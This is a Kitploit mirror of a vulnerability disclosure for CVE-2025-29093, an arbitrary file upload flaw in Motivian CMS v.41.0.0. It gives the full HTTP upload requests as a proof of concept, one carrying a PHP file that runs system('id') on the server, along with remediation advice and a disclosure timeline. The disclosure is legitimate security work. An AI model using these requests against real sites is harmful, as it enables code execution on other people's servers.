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CVE-2025-29093-Arbitrary-File-Upload — This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0 | Kitploit
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GitHubframarcuccio/cve-2025-29093-arbitrary-file-upload

CVE-2025-29093-Arbitrary-File-Upload

This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0

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CVE-2025-29093-Arbitrary-File-Upload

This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0.

  • CVE-2025-29093: Arbitrary File Upload

This vulnerability was reported to the vendor in accordance with responsible disclosure practices, and to MITRE, which assigned a temporary CVE ID. The details are being made public following the expiration of the 45-day disclosure period.

General Information

  • Title: Motivian Arbitrary File Upload
  • Vulnerability Type: Arbitrary File Upload
  • Vendor of Product: Motivian
  • Product: Motivian Content Management System
  • Affected Version: Motivian CMS v.41.0.0
  • Affected Component: Content/Gallery/Images
  • Attack Vector: Remote
  • Impact: Malicious arbitrary file upload
  • Severity: Medium
  • CVSSv3 score: 6.5
  • CVSSv3 vector: CVSS:3.1:AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • Severity by CISA-ADP: High
  • CVSSv3 score by CISA-ADP: 8.2
  • CVSSv3 vector by CISA-ADP: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
  • Found: 2025-02-03
  • By: Francesco Marcuccio
  • Status: Reported to vendor on April 7, 2025 - No response/fix received by May 22, 2025

Description

File Upload vulnerability in Motivian Content Managment System v.41.0.0 allows a remote attacker to upload arbitrary files with crafted extensions (e.g. .php, .png, .txt) containing malicious code, via the Content/Gallery/Images component.

Proof Of Concept

The vulnerability can be exploited by uploading files with various extensions. For demonstration purposes, two proof-of-concept cases were used: one involving a .php file containing malicious code, and another using a .txt file with the EICAR test string. Both files were uploaded via the Content/Gallery/Images component.

Below is the full transcript of the HTTP requests and responses used to demonstrate the issue:

Burp Request EICAR

root@kitploit:~
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"

-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"

M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--

Burp Request PHP

root@kitploit:~
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"

304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"


------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"

false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"

token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"

77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream

<?php 
echo system('id'); 
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--

Burp Response

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729

Remediation

Do not allow users to upload arbitrary files. Implement strict file validation (MIME type and content inspection), randomize filenames, and restrict upload directories.

Disclosure Timeline

DateAction
2025-02-06CVE ID request (CNA: MITRE)
2025-04-02CVE ID assignment
2025-04-07Vulnerabilities reported to vendor
2025-05-31Public disclosure after expiration of the 45-day disclosure period (54 days total)
2025-06-04Official registration and entry in the MITRE database and NIST/NVD portal

Credit

  • Discovered and responsibly disclosed by:
    Francesco Marcuccio
    CyberSecurity Consultant, Penetration Tester

  • MITRE discoverer attribution listed as:
    Francesco Marcuccio
    CyberSecurity Consultant, Penetration Tester

Links

Reference links: MITRE NIST

Status

This CVE ID is officially in PUBLISHED status. It will be updated with CVSS score by NIST, after analysis.

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